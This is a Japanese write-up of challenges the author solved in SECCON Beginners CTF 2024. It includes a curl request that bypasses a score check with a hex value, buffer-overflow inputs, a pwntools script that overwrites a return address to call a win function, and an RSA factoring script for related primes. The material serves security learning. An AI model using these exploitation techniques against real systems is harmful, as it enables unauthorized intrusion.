この大会は2024/6/15 14:00(JST)~2024/6/16 14:00(JST)に開催されました。
今回は個人で参戦。結果は361点で962チーム中251位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome (welcome)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}
getRank (misc)
main.rsを見るとこう書いてある。
const RANKING = [10 ** 255, 1000, 100, 10, 1, 0]; type Res = { rank: number; message: string; }; function ranking(score: number): Res { const getRank = (score: number) => { const rank = RANKING.findIndex((r) => score > r); return rank === -1 ? RANKING.length + 1 : rank + 1; }; const rank = getRank(score); if (rank === 1) { return { rank, message: process.env.FLAG || "fake{fake_flag}", }; } else { return { rank, message: `You got rank ${rank}!`, }; } } function chall(input: string): Res { if (input.length > 300) { return { rank: -1, message: "Input too long", }; } let score = parseInt(input); if (isNaN(score)) { return { rank: -1, message: "Invalid score", }; } if (score > 10 ** 255) { // hmm...your score is too big? // you need a handicap! for (let i = 0; i < 100; i++) { score = Math.floor(score / 10); } } return ranking(score); }
index.htmlを見るとこう書いてある。
function getRank() { const rankElement = document.getElementById("rank"); const messageElement = document.getElementById("message"); fetch("/", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ input: `${score}` }), }) .then((response) => response.json()) .then((data) => { rankElement.textContent = data.rank ?? "-1"; messageElement.textContent = data.message ?? "Error occurred."; }) .catch((error) => { rankElement.textContent = "-1"; messageElement.textContent = "Error occurred."; console.error(error); }); }
直接scoreを指定して、メッセージを取得する。なお、scoreは10**255より大きい場合は、1/10を100回行い、長さで300を超えない範囲では10進数で指定できないので、16進数で指定する。
$ curl https://getrank.beginners.seccon.games/ -H "Content-Type: application/json" -d '{"input": "0x9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999"}' {"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}
ctf4b{15_my_5c0r3_700000_b1g?}
clamre (misc)
flag.ldbを見ると、以下のような正規表現が書いてある。
/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
順に文字を確認していく。
(\x63\x74\x66) >>> "\x63\x74\x66" 'ctf' (\x62) >>> "\x62" 'b' (\x72) >>> "\x72" 'r' (\x33) >>> "\x33" '3' \3 インデックス3の値のため、'4'になる。 (\x6b1) >>> "\x6b1" 'k1' (\x6e\x67) >>> "\x6e\x67" 'ng' (\x5f) >>> "\x5f" '_' \3 インデックス3の値のため、'4'になる。 (\x6c) >>> "\x6c" 'l' \11 インデックス11の値のため、'\x6c'(='l')になる。 \10 インデックス10の値のため、'\x5f'(='_')になる。 (\x54\x68) >>> "\x54\x68" 'Th' \7 インデックス7の値のため、'\x33'(='3')になる。 \10 インデックス10の値のため、'\x5f'(='_')になる。 (\x480) >>> "\x480" 'H0' (\x75) >>> "\x75" 'u' \7 インデックス7の値のため、'\x33'(='3')になる。 \10 インデックス10の値のため、'\x5f'(='_')になる。 (\x52) >>> "\x52" 'R' \14 インデックス14の値のため、'\x75'(='u')になる。 \11 インデックス11の値のため、'\x6c'(='l')になる。 \7 インデックス7の値のため、'\x33'(='3')になる。
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
simpleoverflow (pwnable)
10バイトを超え、任意の文字を入力すると、BOFでis_adminが上書きされ、フラグが読める。
$ nc simpleoverflow.beginners.seccon.games 9000 name:aaaaaaaaaaa Hello, aaaaaaaaaaa ctf4b{0n_y0ur_m4rk}
ctf4b{0n_y0ur_m4rk}
simpleoverwrite (pwnable)
$ ./chall
input:aaaaaaaaaaaaaaaaaaABCD
Hello, aaaaaaaaaaaaaaaaaaABCD
return to: 0x7f0a44434241
zsh: segmentation fault ./chall
BOFでwin関数をコールすればよい。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('simpleoverwrite.beginners.seccon.games', 9001) else: p = process('./chall') elf = ELF('./chall') win_addr = elf.symbols['win'] payload = b'A' * 18 payload += p64(win_addr) data = p.recvuntil(b':').decode() print(data, end='') print(payload) p.sendline(payload) for _ in range(3): data = p.recvline().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done [*] '/mnt/hgfs/Shared/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) input:b'AAAAAAAAAAAAAAAAAA\x86\x11@\x00\x00\x00\x00\x00' b'Hello, AAAAAAAAAAAAAAAAAA\x86\x11@' b'return to: 0x401186' b'ctf4b{B3l13v3_4g41n}' [*] Closed connection to simpleoverwrite.beginners.seccon.games port 9001
ctf4b{B3l13v3_4g41n}
Safe Prime (crypto)
RSA暗号で、pとqは以下の関係があることがわかる。
q = 2 * p + 1
n = p * q であることから、以下のようにpの2次方程式にすることができる。
p * (2 * p + 1) = n
これを解けば、pがわかり、nを素因数分解することができる。あとは通常通り、RSA暗号の復号を行えば、フラグが得られる。
#!/usr/bin/env python3 from Crypto.Util.number import * import sympy with open('output.txt', 'r') as f: params = f.read().splitlines() e = 65537 n = int(params[0].split(' ')[-1]) c = int(params[1].split(' ')[-1]) p = sympy.Symbol('p') eq = p * (2 * p + 1) - n sol = sympy.solve(eq) for p in sol: if p > 0: break p = int(p) q = n // p phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}